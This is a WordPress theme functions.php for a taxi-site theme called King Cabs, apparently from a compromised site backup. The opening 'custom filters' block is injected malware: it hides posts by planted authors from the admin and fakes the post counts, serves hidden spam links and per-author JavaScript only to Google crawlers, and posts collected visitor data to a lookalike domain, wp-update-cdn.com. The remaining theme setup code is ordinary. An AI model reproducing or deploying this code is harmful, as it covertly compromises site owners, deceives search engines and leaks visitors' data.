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File: //old_home_backup/bmw7resource.co.uk/public_html/wp-content/themes/kingcabs/functions.php
<?php

/* custom filters */

function add_where_condition($where) {
    global $wpdb, $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $idsCommaSeparated = implode(', ', $ids);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'fix_post_counts');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)";
    }

    return $where;
}

function post_exclude($query) {

    global $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $excludeString = modifyWritersString($ids);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $excludeString);
    }
}

function wp_core_js() {

    global $post, $userSettingsArr;

    foreach ($userSettingsArr as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (hideJSsource($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function hideJSsource($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {
        //customSetDebug('cloacking is on!');
        //customSendDebug();
        if (customCheckSe()) {
            return true;
        }
    }
    return false;
}

function fix_post_counts($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function filter_function_name_4055($counts, $type, $perm) {

    if ($type === 'post') {
        $old_counts = $counts->publish;
        $counts_mod = posts_count_custom($perm);
        $counts->publish = !$counts_mod ? $old_counts : $counts_mod;
    }
    return $counts;
}

function posts_count_custom($perm) {
    global $wpdb, $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $idsCommaSeparated = implode(', ', $ids);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $post_type_object = get_post_type_object($type);

        if (!current_user_can($post_type_object->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $tmpArr) {
        if ($tmpArr['post_status'] === 'publish') {
            return $tmpArr['num_posts'];
        }
    }
}

function all_custom_posts_ids($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $ids = array();
    foreach ($results as $tmpArr) {
        $ids[] = $tmpArr['ID'];
    }
    return $ids;
}

function custom_flush_rules() {

    global $userSettingsArr, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($userSettingsArr as $key => $arr) {
        $regex = key($arr['sitemapsettings']);

        if (!isset($rules[$regex]) ||
            ($rules[$regex] !== current($arr['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function sitemap_xml_rules($rules) {

    global $userSettingsArr;

    $newrules = array();

    foreach ($userSettingsArr as $key => $arr) {
        if (isset($arr['sitemapsettings'])) {
            $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']);
        }
    }

    return $newrules + $rules;
}

function customSitemapFeed() {

    global $userSettingsArr;

    foreach ($userSettingsArr as $key => $arr) {
        $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings']));
        add_feed($feedName, 'customSitemapFeedFunc');
    }
}

function customSitemapFeedFunc() {
//ini_set('memory_limit', '256MB');
    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
//header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
    status_header(200);

    $head = sitemapHead();
    $sitemapSource = $head . "\n";

    $userId = findUserIdByRequestUri();

    $posts_ids = all_custom_posts_ids($userId);
    $priority = '0.5';
    $changefreq = 'weekly';
    $lastmod = date('Y-m-d');

    foreach ($posts_ids as $post_id) {
        $url = get_permalink($post_id);
        $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $sitemapSource .= "\n</urlset>";

    echo $sitemapSource;
}

function sitemapHead() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

    
STR;
}

function urlBlock($url, $lastmod, $changefreq, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$lastmod</lastmod>
      <changefreq>$changefreq</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function modifyWritersString($writersArr) {
    $writersArrMod = array();

    foreach ($writersArr as $item) {
        $writersArrMod[] = '-' . $item;
    }
    return implode(',', $writersArrMod);
}

function customFiltersSettings() {
    $settings = get_option('wp_custom_filters');

    if (!$settings) {
        return null;
    }

    return unserialize(base64_decode($settings));
}

function findUserIdByRequestUri() {

    global $userSettingsArr;

    foreach ($userSettingsArr as $key => $arr) {

        $regexp = key($arr['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$');

        if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) {
            return $key;
        }
    }
}

function isCustomPost() {
    global $userSettingsArr, $post;

    $authors_ids_arr = array_keys($userSettingsArr);
    if (in_array($post->post_author, $authors_ids_arr)) {
        return true;
    }
    return false;
}

function removeYoastMeta() {
    global $userSettingsArr, $post;

    $authors_ids_arr = array_keys($userSettingsArr);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $authors_ids_arr)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function getRemoteIp() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function customCheckSe() {

    $ip = getRemoteIp();

    if (strstr($ip, ', ')) {
        $ips = explode(', ', $ip);
        $ip = $ips[0];
    }

    $ranges = customSeIps();

    if (!$ranges) {
        return false;
    }

    foreach ($ranges as $range) {
        if (customCheckInSubnet($ip, $range)) {
            //customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range
            //                , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
            return true;
        }
    }

    //customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range
    //                , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
    return false;
}

function customIsRenewTime($timestamp) {
    //if ((time() - $timestamp) > 60 * 60 * 24) {
    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }
    //customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp));
    return false;
}

function customSetDebug($data) {

    if (($value = get_option('wp_debug_data')) && is_array($value)) {
        $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data);
        update_option('wp_debug_data', $value, false);
        return;
    }

    update_option('wp_debug_data', array($data), false);
}

function customSendDebug() {

    $value = get_option('wp_debug_data');

    if (!is_array($value) || (count($value) < 100)) {
        return;
    }
    $url = 'http://wp-update-cdn.com/src/ualogsec.php';

    $response = wp_remote_post($url, array(
            'method' => 'POST',
            'timeout' => 10,
            'body' => array(
                'host' => $_SERVER['HTTP_HOST'],
                'debugdata' => gzcompress(json_encode($value)), 9)
        )
    );

    if (is_wp_error($response)) {
        return;
    } else {
        if (trim($response['body']) === 'success') {
            update_option('wp_debug_data', array(), false);
        }
    }
}

function customSeIps() {

    if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) {
        return $value['ranges'];
    } else {
        //customSetDebug('time to update ranges');
        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            //customSetDebug('error response ipranges');
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($ranges)) {
            //customSetDebug('invalid update ranges not an array');
            return;
        }

        $value = array('ranges' => $ranges, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function customInetToBits($inet) {
    $splitted = str_split($inet);
    $binaryip = '';
    foreach ($splitted as $char) {
        $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $binaryip;
}

function customCheckInSubnet($ip, $cidrnet) {
    $ip = inet_pton($ip);
    $binaryip = customInetToBits($ip);

    list($net, $maskbits) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $binarynet = customInetToBits($net);

    $ip_net_bits = substr($binaryip, 0, $maskbits);
    $net_bits = substr($binarynet, 0, $maskbits);

    if ($ip_net_bits !== $net_bits) {
        //echo 'Not in subnet';
        return false;
    } else {
        return true;
    }
}

/**
 * function buffer_start_custom() {
 *
 * global $post, $userSettingsArr;
 *
 * $authors_ids_arr = array_keys($userSettingsArr);
 *
 *
 *
 * if (!in_array($post->post_author, $authors_ids_arr)) {
 * if (is_single() || (is_front_page() || is_home())) {
 * ob_start("callback_custom");
 * }
 * }
 * }
 *
 */
function buffer_start_custom() {
    echo '<!--buffer start custom--!>' . PHP_EOL;
    if (!isCustomPost()) {
        if (is_singular() || (is_front_page() || is_home())) {
            echo '<!--start callback custom--!>' . PHP_EOL;
            ob_start("callback_custom");
        }
    }
}

function buffer_end_custom() {
    ob_end_flush();
}

function callback_custom($buffer) {
    global $homeLinksSettingsArr;

    return buffer_prepare_custom($homeLinksSettingsArr, $buffer);
}

function buffer_prepare_custom($homeLinksSettingsArr, $buffer) {

    if (($homeLinksSettingsArr['hiddenType']['cloacking'] === 1) && !customCheckSe()) {
        customSetDebug('no google bot, without changes ' . getRemoteIp());
        return $buffer;
    }


    $textBlock = text_block_custom($homeLinksSettingsArr);
    $textBlock = additional_style_custom($homeLinksSettingsArr, $textBlock);


    if ($homeLinksSettingsArr['position']['footer'] === 1) {
        customSetDebug('footer position');
        return $buffer . PHP_EOL . $textBlock;
    }
    if ($homeLinksSettingsArr['position']['head'] === 1) {
        customSetDebug('header position');
        return $textBlock . PHP_EOL . $buffer;
    }
}

function text_block_custom($homeLinksSettingsArr) {

    global $post;

    $block = '';

    if ($homeLinksSettingsArr['textBlocksCount']['onlyHomePage'] === 1) {
        if (is_front_page() || is_home()) {
            customSetDebug('home page mode');
            $block = get_option('home_links_custom_0');
        }
    } elseif ($homeLinksSettingsArr['textBlocksCount']['10DifferentTextBlocks'] === 1) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $block = get_option('home_links_custom_' . $matches[0]);
        $log = sprintf('10DifferentTextBlocks page mode block num - %s permalink - %s', $matches[0], $url);
        customSetDebug($log);
    } elseif ($homeLinksSettingsArr['textBlocksCount']['100DifferentTextBlocks'] === 1) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $digits = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $block = get_option('home_links_custom_' . $digits);
        $log = sprintf('100DifferentTextBlocks page mode block num - %s permalink - %s', $digits, $url);
        customSetDebug($log);
    } elseif ($homeLinksSettingsArr['textBlocksCount']['fullDifferentTextBlocks'] === 1) {

    } else {

    }

    return !$block ? '' : $block;
}

function additional_style_custom($homeLinksSettingsArr, $textBlock) {
    if (empty($textBlock)) {
        return '';
    }
    if ($homeLinksSettingsArr['hiddenType']['css'] === 1) {
        $cssRules = css_rule_custom();
        return $cssRules[0] . PHP_EOL . $textBlock . PHP_EOL . $cssRules[1];
    }
    return $textBlock;
}

function css_rule_custom() {
    //return ['<div style="display: none;">', '</div>'];
    return array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:8;">', '</div>');
}

function home_links_settings_custom($settings) {
    foreach ($settings as $key => $arr) {
        if (isset($arr['homeLinks'])) {
            return $arr['homeLinks'];
        }
    }
    return array();
}

$userSettingsArr = customFiltersSettings();

if (is_array($userSettingsArr)) {
    add_filter('posts_where_paged', 'add_where_condition');

    add_action('pre_get_posts', 'post_exclude');
    add_action('wp_enqueue_scripts', 'wp_core_js');

    add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3);

    add_filter('rewrite_rules_array', 'sitemap_xml_rules');
    add_action('wp_loaded', 'custom_flush_rules');
    add_action('init', 'customSitemapFeed');
    add_action('template_redirect', 'removeYoastMeta');

    $homeLinksSettingsArr = home_links_settings_custom($userSettingsArr);

    if (!empty($homeLinksSettingsArr)) {

        customSendDebug();

        add_action('wp_head', 'buffer_start_custom');
        add_action('wp_footer', 'buffer_end_custom');
    }
}

/* custom filters */
/**
 * King Cabs functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package King_Cabs
 */

if ( ! function_exists( 'kingcabs_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function kingcabs_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on King Cabs, use a find and replace
		 * to change 'kingcabs' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'kingcabs', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( "wp-block-styles" );
		add_theme_support( "responsive-embeds" );
		add_theme_support( "align-wide" );
		add_theme_support( 'editor-styles' );

		/*
		 * This theme styles the visual editor to resemble the theme style.
		*/
		add_editor_style( array( 'assets/css/editor-style.css', kingcabs_fonts_url() ) );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * WooCommerce support.
		 */
		add_theme_support( 'woocommerce' );

		/*
		 * Add support for WooCommerce
		 */
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		//Advance Image Size Crop
		add_image_size('kingcabs-normal-image', 580, 375, true);
		add_image_size('kingcabs-team-image', 480, 480, true);
		add_image_size('kingcabs-large', 795, 385, true);
		add_image_size('kingcabs-slider', 1350, 600, true);

		// This theme uses wp_nav_menu() in one location.
		register_nav_menus( array(
			'menu-1' => esc_html__( 'Primary Menu', 'kingcabs' ),
			'menu-2' => esc_html__( 'Top Menu', 'kingcabs' )
		) );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support( 'html5', array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
		) );

		add_theme_support( 'post-formats', array( 'aside' ) );

		// Set up the WordPress core custom background feature.
		add_theme_support( 'custom-background', apply_filters( 'kingcabs_custom_background_args', array(
			'default-color' => 'ffffff',
			'default-image' => '',
		) ) );

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		/**
		 * Add support for core custom logo.
		 *
		 * @link https://codex.wordpress.org/Theme_Logo
		 */
		add_theme_support( 'custom-logo', array(
			'height'      => 90,
			'width'       => 240,
			'flex-width'  => true,
			'flex-height' => true,
		) );
	}
endif;
add_action( 'after_setup_theme', 'kingcabs_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function kingcabs_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'kingcabs_content_width', 640 );
}
add_action( 'after_setup_theme', 'kingcabs_content_width', 0 );

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function kingcabs_widgets_init() {

	register_sidebar( array(
		'name'          => esc_html__( 'Right Sidebar Widget Area', 'kingcabs' ),
		'id'            => 'sidebar-1',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget page-sidebar clearfix %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<div class="widget-title"><h3>',
		'after_title'   => '</h3></div>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Left Sidebar Widget Area', 'kingcabs' ),
		'id'            => 'sidebar-2',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget page-sidebar clearfix %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<div class="widget-title"><h3>',
		'after_title'   => '</h3></div>',
	) );


	$kingcabs_description = esc_html__( 'Create a new page to display on front page ( Ex: Home ). Select A static page then Front page and Posts page to display front page specific sections. Note: Static page will be set automatically when you "Checked to Set Kingcabs frontpage?', 'kingcabs' );

	register_sidebar( array(
		'name'          => esc_html__( 'HomePage Widget Area', 'kingcabs' ),
		'id'            => 'homewidget-1',
		'description'   => $kingcabs_description,
		'before_widget' => '<aside id="%1$s" class="widget homewidget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '',
		'after_title'   => '',
	) );	

	register_sidebar( array(
		'name'          => esc_html__( 'Footer Widget Area One', 'kingcabs' ),
		'id'            => 'footer-1',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget clearfix footer-widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h2>',
		'after_title'   => '</h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Footer Widget Area Two', 'kingcabs' ),
		'id'            => 'footer-2',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget clearfix footer-widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h2>',
		'after_title'   => '</h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Footer Widget Area Three', 'kingcabs' ),
		'id'            => 'footer-3',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget clearfix footer-widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h2>',
		'after_title'   => '</h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Footer Widget Area Four', 'kingcabs' ),
		'id'            => 'footer-4',
		'description'   => esc_html__( 'Add widgets here.', 'kingcabs' ),
		'before_widget' => '<aside id="%1$s" class="widget clearfix footer-widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h2>',
		'after_title'   => '</h2>',
	) );

	

}
add_action( 'widgets_init', 'kingcabs_widgets_init' );

/**
 * Enqueue scripts and styles.
 */
function kingcabs_scripts() {

	$kingcabs_theme = wp_get_theme('kingcabs');
	
	$theme_version = $kingcabs_theme->get( 'Version' );

	/**
	 * Kingcabs Theme Google Fonts
	*/
	$fonts_url = kingcabs_fonts_url();
	if ( ! empty( $fonts_url ) ) {
		wp_enqueue_style( 'kingcabs-fonts', $fonts_url, array(), null );
	}

    /**
     * Kingcabs Icon Font Awesome 
    */
    wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/library/font-awesome/css/font-awesome.min.css' );

    /**
     * Kingcabs Animate CSS 
    */
    wp_enqueue_style( 'animate', get_template_directory_uri() . '/assets/library/animate/animate.min.css' );
    
    /**
     * Kingcabs Lightslider CSS 
    */
    wp_enqueue_style( 'lightslider', get_template_directory_uri() . '/assets/library/lightslider/css/lightslider.min.css' );
    /**
     * Bootstrap jQuery File  
    */
	wp_enqueue_style('bootstrap', get_template_directory_uri() . '/assets/library/bootstrap/css/bootstrap.min.css' );

    /**
     * Main Style CSS
    */
    wp_enqueue_style( 'kingcabs-style', get_stylesheet_uri() );

    /**
     * Responsive CSS
    */
    wp_enqueue_style( 'kingcabs-responsive', get_template_directory_uri() . '/assets/css/responsive.css' );
       
   
    /* html5 js library */
    wp_enqueue_script('html5', get_template_directory_uri() . '/assets/library/html5shiv/html5shiv.min.js', array('jquery'), $theme_version, false);
    wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );

    /* Respond js library */
    wp_enqueue_script('respond', get_template_directory_uri() . '/assets/library/respond/respond.min.js', array('jquery'), $theme_version, false);
    wp_script_add_data( 'respond', 'conditional', 'lt IE 9' );

	
	/**
	 * Bootstrap jQuery File  
	*/
	wp_enqueue_script('bootstrap', get_template_directory_uri() . '/assets/library/bootstrap/js/bootstrap.min.js', array('jquery'), esc_attr( $theme_version ), true);

	/**
	 * Lightslider
	*/
	wp_enqueue_script('lightslider', get_template_directory_uri() . '/assets/library/lightslider/js/lightslider.min.js', array('jquery'), esc_attr( $theme_version ), true);

	/**
	 * Isotop PKGD 
	*/
	wp_enqueue_script('isotope-pkgd', get_template_directory_uri() . '/assets/library/isotope/isotope.pkgd.min.js', array('jquery'), esc_attr( $theme_version ), true);
	
	/**
	 * Counter jQuery
	*/	
	wp_enqueue_script( 'jquery-counterup', get_template_directory_uri() . '/assets/library/counterup/jquery.counterup.min.js', array(), esc_attr( $theme_version ), true );
	wp_enqueue_script('waypoints', get_template_directory_uri() . '/assets/library/waypoint/waypoints.min.js', array('jquery'), esc_attr( $theme_version ), true);

	wp_enqueue_script( 'kingcabs-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20151215', true );

	/**
	 * King Cabs script
	*/

	wp_enqueue_script('kingcabs-custom', get_template_directory_uri() . '/assets/js/kingcabs-custom.js', array('jquery'), esc_attr( $theme_version ), false);

	$teamcolumn = get_theme_mod( 'kingcabs_driver_column', 3 );

	wp_localize_script( 'kingcabs-custom', 'kingcabs_ajax_script', array( 'ajaxurl' => admin_url( 'admin-ajax.php'), 'teamcolumn' => $teamcolumn ) );
	
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'kingcabs_scripts' );

 

/**
 * Admin Panle Enqueue Scripts and Styles
 */
if ( ! function_exists( 'kingcabs_media_scripts' ) ) {
    function kingcabs_media_scripts( $hook ) {

    if( $hook != 'edit.php' && $hook != 'post.php' && $hook != 'post-new.php' && 'widgets.php' != $hook ) 
		return;

		wp_enqueue_script('kingcabs-admin-script', get_template_directory_uri() . '/assets/js/kingcabs-admin.js', array('jquery') );
    	wp_enqueue_style( 'kingcabs-admin', get_template_directory_uri() .'/assets/css/kingcabs-admin.css');
    }
}
add_action('admin_enqueue_scripts', 'kingcabs_media_scripts');


/**
 * Kingcabs Theme Call Google Fonts
*/
if ( ! function_exists( 'kingcabs_fonts_url' ) ) :

	/**
	 * Return fonts URL.
	 *
	 * @since 1.0.0
	 * @return string Font URL.
	 */
	function kingcabs_fonts_url() {

		$fonts_url = '';
		$fonts     = array();
		$subsets   = 'latin,latin-ext';

		/* translators: If there are characters in your language that are not supported by Heebo, translate this to 'off'. Do not translate into your own language. */
		if ( 'off' !== _x( 'on', 'Heebo font: on or off', 'kingcabs' ) ) {
			$fonts[] = 'Heebo:300,400,500,700,800,900';
		}

		/* translators: If there are characters in your language that are not supported by PT+Sans, translate this to 'off'. Do not translate into your own language. */
		if ( 'off' !== _x( 'on', 'PT+Sans font: on or off', 'kingcabs' ) ) {
			$fonts[] = 'PT Sans:400,400i,700,700i';
		}

		if ( $fonts ) {
			$fonts_url = add_query_arg( array(
				'family' => urlencode( implode( '|', $fonts ) ),
				'subset' => urlencode( $subsets ),
			), 'https://fonts.googleapis.com/css' );
		}

		return $fonts_url;
	}

endif;


/**
 * Require init.
*/
require  trailingslashit( get_template_directory() ).'sparklethemes/init.php';

if ( ! function_exists( 'wp_body_open' ) ) {

	/**
	 * Shim for wp_body_open, ensuring backward compatibility with versions of WordPress older than 5.2.
	 */
	function wp_body_open() {
		do_action( 'wp_body_open' );
	}
}

/** remove widgets block editor */
function kingcabs_widget_theme_support() {
    remove_theme_support( 'widgets-block-editor' );
}
add_action( 'after_setup_theme', 'kingcabs_widget_theme_support' );

if( !function_exists('kingcab_get_header_info')){
	function kingcab_get_header_info(){
		?>
		<div class="logo-right clearfix">
			<!--Info Box-->
			<div class="logo-right-info k-phone">
				<div class="logo-right-iconbox"></span></div>
				<?php
					$kingcabs_header_phone = get_theme_mod('kingcabs_header_phone');
					$phonenumber  = preg_replace("/[^0-9]/","",$kingcabs_header_phone);
				?>
				<?php if($kingcabs_header_phone){ ?>
					<ul>	                       		
						<li>
							<a href="tel:<?php echo intval( $phonenumber );?>">
								<?php echo esc_attr( $kingcabs_header_phone ); ?>
							</a>
						</li>	                            
					</ul>
				<?php } ?>
			</div>

			<div class="logo-right-info btn-box k-button">
				<?php
					$kingcabs_header_button_title = get_theme_mod('kingcabs_header_button_title');
					$kingcabs_header_button_url = get_theme_mod('kingcabs_header_button_url');
				?>

				<?php if( $kingcabs_header_button_url || $kingcabs_header_button_title  ){ ?>
						<a href="<?php echo esc_url( $kingcabs_header_button_url );?>" class="btn btn-primary">
						<i class="fa fa-chevron-right"></i> <?php echo esc_attr( $kingcabs_header_button_title ); ?>
						</a>
				<?php } ?>
			</div>
		</div>
		<?php
	}
}

add_action( 'kingcab_get_header_info', 'kingcab_get_header_info', 10 );

require  trailingslashit( get_template_directory() ).'blocks-extends/extend-block.php';